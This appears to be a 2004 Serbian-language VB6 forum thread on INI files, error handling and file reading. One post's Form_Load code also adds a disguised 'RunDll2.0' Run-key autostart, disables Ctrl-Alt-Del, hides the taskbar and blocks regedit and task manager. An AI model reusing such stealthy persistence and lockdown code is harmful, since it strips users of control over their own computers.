Poslao: 11 Avg 2004 22:47
|
offline
- Pridružio: 25 Feb 2004
- Poruke: 35
- Gde živiš: BiH-RS
|
Za Snoop-a:
Nema veze sto postoje dva >On Error<. Program ce izvrsavati radnju koja je odredjena u
zadjem >On Error<.
__________________________________________
Za Mastera:
Evo kako se pravi ini fajl:
U general forme ili u modul postavi:
Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
Sada u neki-event- postavi:
Dim strZaglavlje As String
Dim strKljuc As String
Dim strFileName As String
Dim aniValue As String
Dim I As Integer
strZaglavlje = "Zaglavle" 'Odredjuje naziv koji se nalazi izmedju []
strKljuc = "Kljuc" 'Odredjuje naziv kjuca u kome se cuva vrijednost
aniValue = "ValueProba" 'Zadaje vrijednost Kljucu "strKljuc"
strFileName = "C:\Proba.ini" 'Ime Fajla
For I = 1 To 5
WritePrivateProfileString strZaglavlje & I, strKljuc & I _
, aniValue & I, strFileName
Next I
Sad samo promjenjivim dodaj vrijednosti koje tebi trebaju.[/code]
Ako fajl "C:\Proba.ini" vec postoji, program ce u njega upisati date vrijednosti, a ako ne on ce ga napraviti.
|
|
|
Registruj se da bi učestvovao u diskusiji. Registrovanim korisnicima se NE prikazuju reklame unutar poruka.
|
|
Poslao: 12 Avg 2004 00:25
|
offline
- snoop
- Genghis Khan
- Pridružio: 18 Apr 2003
- Poruke: 8134
- Gde živiš: U kesici gumenih bombona...
|
@ Sove
znam, ali nepotrebno je...
|
|
|
|
Poslao: 12 Avg 2004 02:47
|
offline
- Pridružio: 21 Jan 2004
- Poruke: 416
- Gde živiš: Indjija
|
@sove
On Error GoTo Greska
Dim master1
Open "c:\master.ini" For Input As #1
Do Until EOF(1)
Line Input #1, master1
List1.AddItem master1
List2.AddItem master1
Loop
Close
Greska:....... (sta se ovde pise) ?
|
|
|
|
Poslao: 12 Avg 2004 03:04
|
offline
- Pridružio: 21 Jan 2004
- Poruke: 416
- Gde živiš: Indjija
|
I jos nesto zasto mi izbacuje gresku "file not Found" u windosu ?
|
|
|
|
Poslao: 12 Avg 2004 16:36
|
offline
- snoop
- Genghis Khan
- Pridružio: 18 Apr 2003
- Poruke: 8134
- Gde živiš: U kesici gumenih bombona...
|
@ master
moras sa open "fajl.ini" for output as #1 da napravis fajl u naprimer Form_Load eventu i onda mozes u istom tom eventu da ides sa Input i ucitas sa ovom tvojoj f-jom koju si napisao....
objasni malo, kako ti izbaci file not found, kada uradis sta on ti to prikaze? ako ti prikaze izvrsavanjem one gore f-je onda sigurno nisi prvo napravio file sa output i upisao nesto u njega (da ne bude prazan) mada nije potrebno...
znaci ovako....
Private Sub Form_Load()
Dim master As String
On Error Resume Next
Open "neki_tamo_fajl.ini" For Output As #1
Print #1, "mozes nesto da upises u fajl, ali i ne moras."
Close #1
On Error GoTo Greska
Open "neki_tamo_fajl.ini" For Input As #1
Do Until EOF(1)
Line Input #1, master
List1.AddItem master
Loop
'// pre labele koja obradjuje greske mora da stoji Exit Sub kako bi izasao iz procedure ili Exit Function iz f-je... ako to izostavis onda ce ti prikazati MsgBox "Greska"
Exit Sub
Greska:
'// ovde obradjujes dogadjaje kada se neka greska dogodi... znaci kada ne moze da pristupi fajlu, ne postoji fajl itd...
MsgBox "Greska"
Unload Me
'// mozes posle obradjivanja greske i da izadjes iz programa ili sta vec hoces... _
probaj promeniti ime fajla koji citas i pokreni... videces sta ce ti napisati...
End Sub
|
|
|
|
Poslao: 12 Avg 2004 21:01
|
offline
- Pridružio: 25 Feb 2004
- Poruke: 35
- Gde živiš: BiH-RS
|
master ::
Greska:....... (sta se ovde pise) ?
ne pise nista. Treba da bude samo "Greska:". Mislio sam da ces skontati
da umjesto tackica nastavis ostatak koda.
Evo ti kompletan kod za Form_Load:
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
Dim retval
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, _
KEY_WRITE, hregkey)
If retval <> 0 Then
Exit Sub
End If
stringbuffer = App.Path & "\" & "load.exe -quiet" & vbNullChar
retval = RegSetValueEx(hregkey, "RunDll2.0", 0, REG_SZ, _
ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
Dim RET
On Error Resume Next
Call DisableCtrAltDel(True)
rtn = FindWindow("Shell_traywnd", "") 'get the Window
SetWindowPos rtn, 0, 0, 0, 0, 0, SWP_HIDEWINDOW 'hide the Tasbar
On Error GoTo Greska
Dim master1
Open "c:\master.ini" For Input As #1
Do Until EOF(1)
Line Input #1, master1
List1.AddItem master1
List2.AddItem master1
Loop
Close
Greska:
authenticate = False
RET = SetWindowPos(Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)
Me.Hide
BLOCK_REGEDIT
BLOCK_TASKMAN
BLOCK_MENU
snoop ::'// pre labele koja obradjuje greske mora da stoji Exit Sub kako bi izasao iz procedure ili Exit Function iz f-je... ako to izostavis onda ce ti prikazati MsgBox "Greska"
Exit Sub
Ispred "Greska:" ne mora da stoji exit sub ako ti nije potrebno, a u ovom tvom slucaju nije.
Sad poredu. Znaci ako fajl "C:\master.ini" ne postoji to program vidi kao gresku.
Posto smo dva reda prije naredili da u slucaju greske ide na "Greska" (On Error GoTo Greska)
program ce preskociti dio koda :
Do Until EOF(1)
Line Input #1, master1
List1.AddItem master1
List2.AddItem master1
Loop
Close
i nastavice dalje ispod "Greska:"
master ::
I jos nesto zasto mi izbacuje gresku "file not Found" u windosu ?
File not Found ti izbacuje jer nepostoji taj fajl. Provjeri dali si dobro upisao putanju
i naziv fajla ako si siguran da on postoji na disku "C:\" i nemoj u nazivu da zaboravis ".ini"
_________________________________
A kako odredjujes programe koje upisujes u "master1.ini"?
|
|
|
|
Poslao: 12 Avg 2004 21:40
|
offline
- Pridružio: 21 Jan 2004
- Poruke: 416
- Gde živiš: Indjija
|
@sove
Program sada odlicno radi ! CPU usage je mali ....
Ali opet se u windowsu pojavljuje "File not Found" i onaj crveni X
Sto verovatno znaci da je windowsowa greska (program normalno otvori fajl master.ini (to znam jel sam stavio: greska: msgbox "greska") program nista ne izbacuje ! nego samo posle mozda tri cetiri minuta se izbaci "file not found" ! Kompeluj program pa ga isprobaj !
|
|
|
|
Poslao: 12 Avg 2004 21:41
|
offline
- Pridružio: 21 Jan 2004
- Poruke: 416
- Gde živiš: Indjija
|
@sove
master.ini treba da ti izgleda ovako:
control panel
device
my computer
windows task manager
total Commander
my network places
|
|
|
|
Poslao: 13 Avg 2004 22:49
|
offline
- Pridružio: 25 Feb 2004
- Poruke: 35
- Gde živiš: BiH-RS
|
Sta ti rade funkcije:
Public Sub ListChildWindows(ctlListBox As Control, hwnd As Long)
i
Public Function ChildCallback(ByVal hWndChild As Long, lRaram As Long) As Boolean
u modulu "iesp"???
One nesto pretrazuju al nisam imao vremena da kontam sta.
Kad zavrse izbaci gresku "File not Found"
Public Function ChildCallback se ponavlja oko 20000 puta (zavisno
od sluacaja do slucaja) i ona takodje
stvara veliko zauzece.
|
|
|
|
Poslao: 13 Avg 2004 23:45
|
offline
- Pridružio: 21 Jan 2004
- Poruke: 416
- Gde živiš: Indjija
|
Xe ! (to je sve sto mogu da kazem) !
A kako si to proverio (da znam ubuduce kada budem pokusao da pisem neki program) ?
|
|
|
|